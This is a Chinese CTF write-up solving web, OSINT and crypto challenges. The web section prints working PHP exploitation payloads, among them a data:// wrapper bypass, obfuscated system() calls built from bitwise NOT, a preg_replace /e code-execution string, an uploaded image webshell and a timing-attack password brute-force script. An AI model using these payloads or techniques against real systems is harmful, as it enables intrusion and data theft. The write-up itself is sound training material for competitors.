WEB

web也会有签到

image-20250126204135307

像极了ctfshow的感觉,一看就是源码题,秒了

image-20250126204308033

base64扔进去解码

image-20250126204347160

frank1q22来送礼物了

image-20250126204609446

因为file_get_contents函数,考虑文件包含,input协议需要在post提交对应的内容,但是这题post提交参数,所以用data协议

data://后面的内容会被当作php代码执行pen=data://text/plain,frank1q22

strpos() 函数用于查找字符串在另一字符串中第一次出现的位置,其返回值是字符串在另一字符串中第一次出现的位置,注意字符串位置是从 0 开始的,如果没有找到字符串则返回 FALSE。

这里要求不能等于 0 ,也就是说在传入的 $challenge 里需要找到 'http://frank1q22.github.io',并且位置是开头,才会是返回的 0,那就直接将内容传给它,这样查出来返回值就是 0

然后通过@进行截断,后面是本地ip

@ 符号前面的部分通常表示用户信息(例如用户名和密码),这种用法曾经用于需要在 URL 中嵌入用户名和密码的情况,但是由于安全原因,这种方式已逐渐被淘汰,现代浏览器大多不再支持直接从 URL 中提取用户名和密码进行身份验证。

payload为

pen=data://text/plain,frank1q22&challenge=http://frank1q22.github.io@127.0.0.1&gift=l

image-20250126205057515

然后访问nlrce.php

image-20250126211108873

这里system等都被ban了,但是passthru没被ban,投机取巧了一下,env直接出flag

?nlctf=passthru("env");

image-20250126211509473

竟然是Warmup?

image-20250126211812553

第一关:随便找俩值绕过,这两个值的md5值得相等

NLhead=QNKCDZO&NLhand=240610708

第二关:这里不仅有个非法参数名的问题,还有正则匹配的问题

这里将参数名中的_替换成[,这样后面的.就不会被解析成[

由于pre_match这个函数是只能匹配一行的数据,所以我们可以用%0a(换行符)来绕过。

这里%0a绕过是因为$会忽略换行符,从而成功绕过正则匹配

?NLhead=QNKCDZO&NLhand=240610708&Nai[Long.body=fat%0a

第三关:无数字字母RCE,取反绕过

<?php

$a="system";
$a=urlencode(~$a);  //  ~ 取反写法
$b="ls /";
$b=urlencode(~$b);
echo $a."\n".$b;

?>

image-20250126214612409

?NLhead=QNKCDZO&NLhand=240610708&Nai[Long.body=fat%0a&NLfeet=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

image-20250126214534186

接着查

<?php

$a="system";
$a=urlencode(~$a);  //  ~ 取反写法
$b="tac /flag.php";
$b=urlencode(~$b);
echo $a."\n".$b;

?>

image-20250126214856511

?NLhead=QNKCDZO&NLhand=240610708&Nai[Long.body=fat%0a&NLfeet=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%D0%99%93%9E%98%D1%8F%97%8F);

image-20250126214822574

wc,是php

image-20250125220116393

先试了密码长度,是8,然后拿个脚本爆出密码

import time
import requests
import statistics

# 目标 URL
url = "http://ctf.wdsec.com.cn:33095/frank1q22-levelLEVEL1.php"  # 替换为真实目标地址

# 固定的密码长度
password_length = 8

# 测试某一位数字的函数
def test_digit(prefix, position, digit):
    # 构造测试密码
    test_pass = prefix + digit + "0" * (password_length - len(prefix) - 1)
    elapsed_times = []
    for _ in range(3):  # 测试多次取平均值
        start_time = time.time()
        requests.post(url, data={"pass": test_pass})
        elapsed_times.append(time.time() - start_time)
    return statistics.mean(elapsed_times)

# 自动化获取密码
def find_password():
    password = ""
    for position in range(password_length):
        max_time = 0
        correct_digit = "0"
        for digit in "0123456789":  # 遍历所有数字
            test_time = test_digit(password, position, digit)
            print(f"正在测试: {password + digit},耗时: {test_time:.5f} 秒")
            if test_time > max_time:
                max_time = test_time
                correct_digit = digit
        password += correct_digit  # 确认当前位
        print(f"找到的部分密码: {password}")
    return password

# 开始攻击
if __name__ == "__main__":
    print("开始破解密码...")
    final_password = find_password()
    print(f"破解完成,密码为: {final_password}")

拿到密码,post传参pass=65546169

image-20250126215138189

访问一下

image-20250125220950806

在这串代码中preg_replace() 用来执行正则替换,$_GET['a'] 是正则表达式,$_GET['b'] 是替换的内容,$_GET['c'] 是要被替换的字符串。如果 $_GET['a'] 中包含 /e 修饰符,那么PHP 会执行 $_GET['b'] 中的内容作为代码。

这时通过逃逸,创建参数cmd,在最后的时候给cmd赋值,进而让参数b执行命令

构造payload为

?a=/.*/e&b=system($_GET['cmd'])&c=dummy&cmd=ls /

image-20250126215509655

a=/.*/e&b=system($_GET['cmd'])&c=dummy&cmd=cat /flag

image-20250126215256795

拿到flag

奶龙的文件上传

image-20250126215607388

竟然是个报错页面,算了扫目录看看

image-20250126215806577

找到文件上传点了

image-20250126215847804

传个图片马

image-20250126220122626

抓包改后缀发包,拿到路径

image-20250126220237799

连接蚁剑

image-20250126220547844

找flag

image-20250126220405962

这里可以写命令,而且flag文件里面没有flag

然后就能拿到flag了

image-20250126221026031

Osint

图寻①

1

先百度了一下,查了下这是哪,发现是朱可夫元帅雕像

然后谷歌地图去搜具体经纬度

image-20250123095633055

基本实现原图重现了,经纬度是

55.7557254,37.6170347

通过底下这个脚本算出flag

import hashlib

# 经纬度字符串
coords = "55.755,37.617"

# 计算 MD5
md5_hash = hashlib.md5(coords.encode()).hexdigest()

# 格式化为 flag
flag = f"flag{{{md5_hash}}}"

print(flag)

image-20250123100319045

flag{7555eed6d4f599847ef983e9a982e93d}

图寻②

先识图,问了ai

image-20250123100507055

这里谷歌地图无法直接搜到,直接去谷歌搜

image-20250123100615825

这是冰岛国家的天气网站

image-20250123100705486

去这个经纬度看看,应该是在附近

image-20250123100828633

是片水域,应该就是在这边上,去路上看看

image-20250123100942533

然后就找到了,因为这个路穿过水域,,辨识度比较高

63.813462,-18.0119339

image-20250123101114042

import hashlib

# 经纬度字符串
coords = "63.813,-18.011"

# 计算 MD5
md5_hash = hashlib.md5(coords.encode()).hexdigest()

# 格式化为 flag
flag = f"flag{{{md5_hash}}}"

print(flag)

跑出来flag是flag{80c7218d9f5e7c332d15bc94c794f9c9}

AI

猫粮

image-20250123101407963

额,就这样就出来了emmm,我就求一下他就出来了

Crypto

Hello_Crypto

出题人:SeanDictionary
难度:签到
题目描述:希望你喜欢这个密码之旅
题目:无附件
AES.CBC
c = 0x26a8191576aa59308f9ff3469bebbd0c8d27820531130d
fe1a860e1e7b02bd7495f56b3d3d5e9a12c01c4f853693e16c
key = IV = 0x1234567890abcdef1234567890abcdef
格式flag{}

from Cryptodome.Cipher import AES
import binascii


def decrypt_aes_cbc(ciphertext_hex, key_hex, iv_hex):
    ciphertext = binascii.unhexlify(ciphertext_hex)
    key = binascii.unhexlify(key_hex)
    iv = binascii.unhexlify(iv_hex)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    # 去除可能的填充字节
    padding_length = plaintext[-1]
    plaintext = plaintext[:-padding_length]
    return plaintext


# 已知的密文、密钥和 IV
ciphertext_hex = "26a8191576aa59308f9ff3469bebbd0c8d27820531130dfe1a860e1e7b02bd7495f56b3d3d5e9a12c01c4f853693e16c"
key_hex = "1234567890abcdef1234567890abcdef"
iv_hex = "1234567890abcdef1234567890abcdef"


# 解密密文
decrypted_text = decrypt_aes_cbc(ciphertext_hex, key_hex, iv_hex)


# 将解密后的字节串转换为字符串
decrypted_string = decrypted_text.decode('utf-8')


# 打印结果
print(f"flag{{{decrypted_string}}}")

flag{ZmxhZ3tXM2xjMG0zX1QwX1RIM19DcnlwVDBfVzBybGR9}

Login

from Crypto.Util.number import *


def encrypt(flag, key):
    key_nums = []
    pointer = 0
    ans = ''
    for i in key:
        if i in 'abcdefghijklmnopqrstuvwxyz':
            key_nums.append('abcdefghijklmnopqrstuvwxyz'.find(i))
        elif i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
            key_nums.append('ABCDEFGHIJKLMNOPQRSTUVWXYZ'.find(i))
    for i in flag:
        if i in 'abcdefghijklmnopqrstuvwxyz':
            new_index = (ord(i) - ord('a') + key_nums[pointer]) % 26
            ans += chr((new_index ^ pointer) + ord('a'))
            pointer = (pointer + 1) % len(key_nums)
        elif i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
            new_index = (ord(i) - ord('A') + key_nums[pointer]) % 26
            ans += chr((new_index ^ pointer) + ord('A'))
            pointer = (pointer + 1) % len(key_nums)
        else:
            ans += i
    return ans


def decrypt(ciphertext, key):
    key_nums = []
    pointer = 0
    ans = ''
    for i in key:
        if i in 'abcdefghijklmnopqrstuvwxyz':
            key_nums.append('abcdefghijklmnopqrstuvwxyz'.find(i))
        elif i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
            key_nums.append('ABCDEFGHIJKLMNOPQRSTUVWXYZ'.find(i))
    for i in ciphertext:
        if i in 'abcdefghijklmnopqrstuvwxyz':
            # 从加密函数的逻辑反向推导原始字符
            for original_char in range(ord('a'), ord('z') + 1):
                new_index = ((ord(i) - ord('a')) ^ pointer)
                original_index = (new_index - key_nums[pointer]) % 26
                if original_index == (original_char - ord('a')) % 26:
                    ans += chr(original_char)
                    break
            pointer = (pointer + 1) % len(key_nums)
        elif i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
            for original_char in range(ord('A'), ord('Z') + 1):
                new_index = ((ord(i) - ord('A')) ^ pointer)
                original_index = (new_index - key_nums[pointer]) % 26
                if original_index == (original_char - ord('A')) % 26:
                    ans += chr(original_char)
                    break
            pointer = (pointer + 1) % len(key_nums)
        else:
            ans += i
    return ans


# 已知的加密文本和 fake_key
ciphertext = 'byqo{A31k0kl_m0_YODPS}'
fake_key_hex = '76e6f6c69616e6968637f677'


# 还原 key
key = bytes.fromhex(fake_key_hex[::-1]).decode()


# 尝试解密
decrypted_text = decrypt(ciphertext, key)
print(f"Decrypted flag: {decrypted_text}")

flag{W31c0me_t0_DRCTF}


山川是不卷收的文章,日月为你掌灯伴读。